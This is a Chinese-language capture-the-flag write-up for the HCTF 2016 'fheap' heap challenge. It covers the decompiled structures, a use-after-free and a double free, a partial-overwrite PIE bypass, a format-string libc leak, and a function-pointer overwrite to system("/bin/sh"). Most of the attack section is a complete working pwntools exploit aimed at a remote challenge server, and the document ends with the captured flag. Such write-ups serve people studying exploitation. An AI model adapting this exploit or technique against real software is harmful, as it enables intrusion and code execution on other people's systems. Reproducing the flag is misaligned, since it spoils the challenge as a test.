HCTF-2016-fheap 结构体 str 结构体
00000000 str struc ; (sizeof=0x20, mappedto_6) 00000000 string dq ? ; offset 00000008 field_8 dq ? 00000010 len dd ? 00000014 field_14 dd ? 00000018 free_func dq ? ; offset 00000020 str ends
string 结构体
00000000 string struc ; (sizeof=0x10, mappedto_7) 00000000 inuse dd ? 00000004 field_4 dd ? 00000008 str dq ? ; offset 00000010 string ends
函数 create unsigned __int64 create () { signed int i; str *ptr; char *dest; size_t nbytes; size_t nbytesa; char buf; unsigned __int64 v7; v7 = __readfsqword(0x28 u); ptr = (str *)malloc (0x20 uLL); printf ("Pls give string size:" ); nbytes = read_int(); if ( nbytes <= 0x1000 ) { printf ("str:" ); if ( read(0 , &buf, nbytes) == -1 ) { puts ("got elf!!" ); exit (1 ); } nbytesa = strlen (&buf); if ( nbytesa > 0xF ) { dest = (char *)malloc (nbytesa); if ( !dest ) { puts ("malloc faild!" ); exit (1 ); } strncpy (dest, &buf, nbytesa); ptr->string = dest; ptr->free_func = free_func1; } else { strncpy ((char *)ptr, &buf, nbytesa); ptr->free_func = free_func2; } ptr->len = nbytesa; for ( i = 0 ; i <= 15 ; ++i ) { if ( !string_list[i].inuse ) { string_list[i].inuse = 1 ; string_list[i].str = ptr; printf ("The string id is %d\n" , (unsigned int )i); break ; } } if ( i == 16 ) { puts ("The string list is full" ); ptr->free_func((char *)ptr); } } else { puts ("Invalid size" ); free (ptr); } return __readfsqword(0x28 u) ^ v7; }
如果输入的字符串的长度大于 15, 则重新 maloc 一块堆块用来存放字符串 否则就放在 ptr 的开头位置 其中两个 free 函数如下
free_func 1 void __fastcall free_func1 (char **a1) { free (*a1); free (a1); }
free_func 2 void __fastcall free_func2 (char *a1) { free (a1); }
delete unsigned __int64 delete () { int index; char buf; unsigned __int64 v3; v3 = __readfsqword(0x28 u); printf ("Pls give me the string id you want to delete\nid:" ); index = read_int(); if ( index < 0 || index > 16 ) puts ("Invalid id" ); if ( string_list[index].str ) { printf ("Are you sure?:" ); read(0 , &buf, 0x100 uLL); if ( !strncmp (&buf, "yes" , 3uLL ) ) { ((void (__fastcall *)(str *, const char *))string_list[index].str->free_func)(string_list[index].str, "yes" ); string_list[index].inuse = 0 ; } } return __readfsqword(0x28 u) ^ v3; }
先判断索引表中的指针是否存在, 然后调用了存在 str 结构体中的 free_func 函数, 而实际上应该只有一个参数, ”yes“
为IDA自动分析的“锅”
漏洞 free 以后没有将全局指针置空, 存在 UAF 漏洞 free 前没有判断当前 chunk 是否 inuse, 存在 double free 漏洞 思路 调用任意函数 由于 free 函数是动态调用, 所以我们如果可以覆盖 chunk ptr 中的函数指针, 我们就可以调用任意函数。
因为程序开启了 PIE, 所以我们无法知道准确的地址, 但是 PIE 存在一个缺陷, 那就是 PIE 的随机化只能影响到单个内存页。通常来说, 一个内存页大小为 0x1000, 所以最后的3个十六进制数字是不会变化的, 我们就可以通过部分写入来绕过 PIE。
这样 ptr 就会得到 str 0 的地址, dest 就会拿到 str 1的地址, 这里我们就可以通过输入的 str 0 内容, 覆盖掉 str 1 中 free 函数的地址。 此时只要我们再次 delete 1, 就可以调用我们改写的函数了
泄露libc基地址 能够调用任意函数之后, 我们只要找到 system 的地址, 就可以拿到 shell 了。
可以通过格式化字符串printf
来泄露地址。用 objdump
来看看调用 printf
的地址
➜ work objdump -d pwn-f| grep printf 00000000000009d0 <printf@plt>: dbb: e8 10 fc ff ff callq 9d0 <printf@plt> e19: e8 b2 fb ff ff callq 9d0 <printf@plt> f0a: e8 c1 fa ff ff callq 9d0 <printf@plt> f56: e8 75 fa ff ff callq 9d0 <printf@plt> 10ee: e8 dd f8 ff ff callq 9d0 <printf@plt>
因为只能修改一个字节, 所以我们选择 0xdbb
处的 call 指令, 要注意的是 printf 函数中会对 al 寄存器进行检测, 如果不为 0 就执行movaps
这些指令, 而这些指令后面的操作数需要是 16 位对齐。所以我们查看 IDA 中的汇编指令, 最后选择的是 0xdbb 的前一个指令, 即 0xdb6
处的mov eax, 0
。
//printf .text:0000000000054400 sub rsp, 0D8h .text:0000000000054407 test al, al .text:0000000000054409 mov [rsp+0D8h+var_B0], rsi ... .text:0000000000054422 jz short loc_5445B .text:0000000000054424 movaps [rsp+0D8h+var_88], xmm0 ... .text:000000000005445B .text:000000000005445B loc_5445B: ; CODE XREF: printf+22↑j .text:000000000005445B lea rax, [rsp+0D8h+arg_0] //fheap .text:0000000000000DB6 mov eax, 0 .text:0000000000000DBB call _printf
因此可以得到如下脚本
create(4 , "a" ) create(4 , "b" ) delete(1 ) delete(0 ) create(0x20 , b'Start' .ljust(0x18 , b'c' ) + p8(0xB6 ))
接着我们给 printf 函数下个断点调试一下, 可以看到堆栈中有 libc 中存在的函数的地址, 在0xaa
处有__libc_start_main + 240
, 这个实际上是__libc_start_main_ret
的地址
泄露出这个地址就可以用libc database search 查找libc
https://libc.blukat.me/?q=__libc_start_main_ret%3A0x830&l=libc6_2.23-0ubuntu11_amd64
得到 system 函数地址为 __libc_start_main_ret + 0x24b60
我这里 libc 版本有问题, 按 BUUOJ 上的环境 leak 出来的地址低三位应该是 0x830, 而不是 0x730
EXP from pwn import *p = process("./pwn-f" ) p = remote("node3.buuoj.cn" , 29767 ) libc = ELF("./libc.so.6" ) context.terminal = ['tmux' , 'splitw' , '-h' ] def dbg (breakpoint ): gdb.attach(p, breakpoint ) def create (size, string ): p.recvuntil("3.quit\n" ) p.sendline("create " ) p.sendlineafter("Pls give string size:" , str (size)) p.sendafter("str:" , string) def delete (idx ): p.recvuntil("3.quit\n" ) p.sendline("delete " ) p.sendlineafter("id:" , str (idx)) p.sendlineafter("Are you sure?:" , "yes" ) create(4 , "a" ) create(4 , "b" ) delete(1 ) delete(0 ) create(0x20 , b'Start%176$pEnd' .ljust(0x18 , b'c' ) + p8(0xB6 )) delete(1 ) p.recvuntil("Start" ) libc_start_main_ret_addr = int (p.recvuntil("End" , drop=True ), 16 ) system_addr = libc_start_main_ret_addr + 0x24b60 log.success("__libc_start_main_ret address: " + hex (libc_start_main_ret_addr)) log.success("system address: " + hex (system_addr)) p.sendline("" ) p.sendline("" ) delete(0 ) create(0x20 , b"/bin/sh;" .ljust(24 , b"p" ) + p64(system_addr)) delete(1 ) p.interactive()
flag: flag{6d65aed1-933c-4b02-879e-cc5a8ec270ed}